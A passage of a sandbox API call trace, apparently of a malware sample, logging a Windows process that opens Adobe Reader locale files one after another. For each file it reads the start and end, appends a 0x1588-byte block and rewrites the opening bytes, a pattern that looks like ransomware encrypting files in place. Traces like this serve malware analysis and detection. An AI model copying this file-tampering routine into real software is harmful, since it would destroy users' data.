SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.266] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.266] ReleaseMutex (hMutex=0x128) returned 1 [0037.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0037.266] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.DEU", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.DEU", lpUsedDefaultChar=0x0) returned 11 [0037.266] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.271] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6400 [0037.271] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.271] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6400 [0037.271] WriteFile (in: hFile=0x184, lpBuffer=0x1deefa8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deefa8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.272] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.272] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.272] CloseHandle (hObject=0x184) returned 1 [0037.272] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\EScript.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\escript.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.272] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.272] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0xa600 [0037.272] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.272] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.272] ReleaseMutex (hMutex=0x128) returned 1 [0037.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0037.273] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.ESP", cchWideChar=11, lpMultiByteStr=0x1e6302c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.ESP", lpUsedDefaultChar=0x0) returned 11 [0037.273] ReadFile (in: hFile=0x184, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.278] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9600 [0037.278] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.279] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x9600 [0037.279] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.279] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.279] WriteFile (in: hFile=0x184, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.279] CloseHandle (hObject=0x184) returned 1 [0037.279] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Search.ESP" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\es_es\\search.esp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.279] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.279] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6000 [0037.280] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.280] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.280] ReleaseMutex (hMutex=0x128) returned 1 [0037.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0037.280] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.ESP", cchWideChar=10, lpMultiByteStr=0x1e62fcc, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.ESP", lpUsedDefaultChar=0x0) returned 10 [0037.280] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.284] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5000 [0037.285] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.285] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5000 [0037.285] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.285] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.285] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.285] CloseHandle (hObject=0x184) returned 1 [0037.285] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Annots.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\annots.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.285] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.286] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x79000 [0037.286] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.286] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.286] ReleaseMutex (hMutex=0x128) returned 1 [0037.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0037.286] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.EUQ", cchWideChar=10, lpMultiByteStr=0x1e62fec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.EUQ", lpUsedDefaultChar=0x0) returned 10 [0037.286] ReadFile (in: hFile=0x184, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0037.290] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x78000 [0037.290] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.295] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x78000 [0037.295] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.296] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.296] WriteFile (in: hFile=0x184, lpBuffer=0x2728d08*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2728d08*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0037.296] CloseHandle (hObject=0x184) returned 1 [0037.296] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\pddom.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\pddom.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.296] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.296] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2c00 [0037.297] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.297] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.297] ReleaseMutex (hMutex=0x128) returned 1 [0037.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0037.297] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.EUQ", cchWideChar=9, lpMultiByteStr=0x1e630cc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.EUQ", lpUsedDefaultChar=0x0) returned 9 [0037.297] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.302] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c00 [0037.302] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.302] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1c00 [0037.302] WriteFile (in: hFile=0x184, lpBuffer=0x1deefa8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deefa8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.303] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0037.303] WriteFile (in: hFile=0x184, lpBuffer=0x1df1c78*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.303] CloseHandle (hObject=0x184) returned 1 [0037.303] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Spelling.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\spelling.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0037.303] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.303] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x2a00 [0037.303] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0037.303] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.303] ReleaseMutex (hMutex=0x128) returned 1 [0037.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.EUQ", cchWideChar=12, lpMultiByteStr=0x1e6340c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.EUQ", lpUsedDefaultChar=0x0) returned 12 [0037.304] ReadFile (in: hFile=0x184, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.597] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a00 [0037.597] ReadFile (in: hFile=0x184, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.597] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1a00 [0037.597] WriteFile (in: hFile=0x184, lpBuffer=0x1de6448*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de6448*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.142] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.142] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.142] CloseHandle (hObject=0x184) returned 1 [0038.143] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\DVA.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\dva.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.143] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.143] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4600 [0038.143] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.143] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.143] ReleaseMutex (hMutex=0x128) returned 1 [0038.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0038.143] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.SUO", cchWideChar=7, lpMultiByteStr=0x1e6a9e4, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.SUO", lpUsedDefaultChar=0x0) returned 7 [0038.143] ReadFile (in: hFile=0x184, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.145] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3600 [0038.145] ReadFile (in: hFile=0x184, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0038.145] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x3600 [0038.145] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0038.145] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0038.145] WriteFile (in: hFile=0x184, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0038.145] CloseHandle (hObject=0x184) returned 1 [0038.145] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\reflow.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\reflow.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.146] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.146] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1200 [0038.146] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.146] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0038.146] ReleaseMutex (hMutex=0x128) returned 1 [0038.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0038.146] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.SUO", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.SUO", lpUsedDefaultChar=0x0) returned 10 [0038.146] ReadFile (in: hFile=0x184, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x2a0f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0038.149] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0038.149] WriteFile (in: hFile=0x184, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0038.149] CloseHandle (hObject=0x184) returned 1 [0038.149] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Acroform.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\acroform.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0038.150] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0038.150] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: 